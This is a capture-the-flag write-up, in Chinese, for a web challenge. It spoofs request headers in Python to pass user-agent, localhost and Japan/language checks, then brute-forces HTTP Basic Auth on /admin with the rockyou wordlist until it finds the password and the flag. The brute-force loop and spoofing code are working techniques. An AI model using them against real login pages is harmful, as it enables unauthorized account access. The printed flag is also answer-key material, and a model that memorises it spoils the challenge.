# 12002-Monster

> http://ctf.adl.tw:12002/

## Intro
進來之後只會看到


ok gogo python :snake:

## You must use STARRYBrowser
用 python 寫 request，設好 `user-agent`

import requests

headers = {
    'user-agent': 'STARRYBrowser',    
}
response = requests.get(
    url='http://ctf.adl.tw:12002/',
    headers=headers
)
print(response.content.decode('utf-8'))

GET

## You must come from 127.0.0.1
設 `X-Forwarded-For` (這題不用設 `host`)

headers = {
    'user-agent': 'STARRYBrowser',   
    'X-Forwarded-For': '127.0.0.1',       
}

GET

## You must speak Japanese and you must be in Japan.
查一下日本 IP

從裡面隨便挑一個，設 `Client-Ip` 跟 `Accept-Language`

headers = {
    'user-agent': 'STARRYBrowser',   
    'X-Forwarded-For': '127.0.0.1',  
    'Client-Ip': '3.112.97.0',       
    'Accept-Language': 'ja-JP',   
}

GET

`bocchi & 🤘rockyou!!!`

## Now, you must login
前往 `/admin`，可以發現這個網站使用 HTTP Basic Authentication 作為登入方式，其實就是把帳號密碼 encode 成 base64 型式，前面加上 `Basic` 之後放到 header 的 `Authorization` 一欄

在 python 的實作是

# Basic Auth func
# https://stackoverflow.com/questions/6999565/python-https-get-with-basic-authentication
def basic_auth(username, password):
    token = b64encode(f"{username}:{password}".encode('utf-8')).decode("ascii")
    auth = f'Basic {token}'
    return auth

headers = {
    'user-agent': 'STARRYBrowser',   
    'X-Forwarded-For': '127.0.0.1',  
    'Client-Ip': '3.112.97.0',       
    'Accept-Language': 'ja-JP', 
    'Authorization': basic_auth('testusername', 'testpassword')
}

嘗試使用各種 `bocchi & 🤘rockyou!!!` 當作帳號密碼的組合，全部失敗


經過長時間的**通靈**與**助教提示**

> 

我們找到了：

> https://github.com/brannondorsey/naive-hashcat/releases/tag/data

這是個長達 133MB 、共 `14344391`條的密碼字典

既然 `rockyou` 表示密碼，那我們就用帳號 `bocchi`, 密碼從這檔案窮舉來瞎猜看看。

file1 = open('rockyou.txt', 'r', encoding='latin-1')
lines = file1.readlines()
count = 0
for line in lines:
    s = line.strip()
    count += 1
    print("{}) try: bocchi & {}".format(count, s))
    headers['Authorization'] = basic_auth('bocchi', s)
    response = requests.get(url='http://ctf.adl.tw:12002/admin',headers=headers)
    if 'You have not been verified' not in response.text:        
        print('Find! ', s)
        break

跑一個晚上，起床發現它竟然找到了！

用這組帳密印出網頁內容

headers['Authorization'] = basic_auth('bocchi', 'bocchio')
response = requests.get(url='http://ctf.adl.tw:12002/admin', headers=headers)
print(response.text)


> flag: `ADL{g0men_Im4OK4N3Naik4ra_0BOte_https://youtu.be/Gc3NKC8TQtY}`

> 
> bocchi and foohow